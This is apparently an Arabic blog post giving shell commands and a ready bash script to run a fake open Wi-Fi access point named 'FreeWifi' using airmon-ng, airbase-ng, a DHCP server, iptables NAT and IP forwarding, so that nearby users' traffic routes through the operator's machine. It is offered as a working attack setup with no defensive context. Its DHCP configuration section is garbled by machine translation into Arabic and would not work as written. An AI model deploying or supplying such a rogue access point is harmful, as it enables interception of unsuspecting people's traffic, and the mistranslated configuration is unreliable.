باك 5 شبكه وهميه


root@Blackbox:~/fakeap# airmon-ng start wlan1 
Found 1 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
PID     Name
1558    dhclient
Interface       Chipset         Driver
wlan1           Realtek RTL8187L        rtl8187 - [phy1]SIOCSIFFLAGS: Unknown error 132
                                (monitor mode enabled on mon0)


root@Blackbox:~/fakeap# rmmod rtl8187
root@Blackbox:~/fakeap# modprobe r8187
 
 

apt-get install dhcp3-server
 
  dhcp3 خادم
. تعديل "/ etc/dhcp3/dhcpd.conf" على النحو التالي (يمكنك تغيير عنوان IP  وملقم   DNS   حسب الحاجة):
DDNS التحديث على النمط المخصص؛ 
الافتراضية الإيجار لمرة و600؛ 
كحد أقصى للخدمة لمرة و7200؛ 
موثوق؛ 
الشبكة الفرعية 10.0.0.0 قناع الشبكة 255.255.255.0 { 
خيار الشبكة الفرعية قناع 255.255.255.0؛ 
خيار البث عنوان 10.0.0.255؛ 
أجهزة التوجيه خيار 10.0.0.254؛ 
خيار اسم المجال ملقمات 8.8.8.8؛ 
نطاق 10.0.0.1 10.0.0.140؛ 
}


airmon-ng start wlan1



airbase-ng -e FreeWifi -c 11 -v wlan1 &


ifconfig at0 up
ifconfig at0 10.0.0.254 netmask 255.255.255.0
 
 
6. Add a route
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.254
7. Setup ip tables
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables -P FORWARD ACCEPT
• Eth3 is my external interface which is connected to the internet change it to whatever yours is
iptables -t nat -A POSTROUTING -o eth3 -j MASQUERADE
8. Clear dhcp leases
echo > '/var/lib/dhcp3/dhcpd.leases'
9. Create a symlink to dhcpd.pid (skipping this may cause an error when starting dhcp server)
ln -s /var/run/dhcp3-server/dhcpd.pid /var/run/dhcpd.pid
10. Start the DHCP server
dhcpd3 -d -f -cf /etc/dhcp3/dhcpd.conf at0 &
11. Don’t forget to enable IP forwarding
echo "1" > /proc/sys/net/ipv4/ip_forward
That’s All Folks!
I have created a simple bash script to automate this process you will just need to change it  to suit your configuration.

#!/bin/bash

echo "Killing Airbase-ng..."
pkill airbase-ng
sleep 2;
echo "Killing DHCP..."
pkill dhcpd3
sleep 5;

echo "Putting Wlan In Monitor Mode..."
airmon-ng stop wlan1 # Change to your wlan interface
sleep 5;
airmon-ng start wlan1 # Change to your wlan interface
sleep 5;
echo "Starting Fake AP..."
airbase-ng -e FreeWifi -c 11 -v wlan1 & # Change essid, channel and interface
sleep 5;

ifconfig at0 up
ifconfig at0 10.0.0.254 netmask 255.255.255.0 # Change IP addresses as configured in your dhcpd.conf
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.254

sleep 5;

iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables -P FORWARD ACCEPT
iptables -t nat -A POSTROUTING -o eth3 -j MASQUERADE # Change eth3 to your internet facing interface

echo > '/var/lib/dhcp3/dhcpd.leases'
ln -s /var/run/dhcp3-server/dhcpd.pid /var/run/dhcpd.pid
dhcpd3 -d -f -cf /etc/dhcp3/dhcpd.conf at0 &

sleep 5;
echo "1" > /proc/sys/net/ipv4/ip_forward
 
 

إرسال تعليق

أحدث أقدم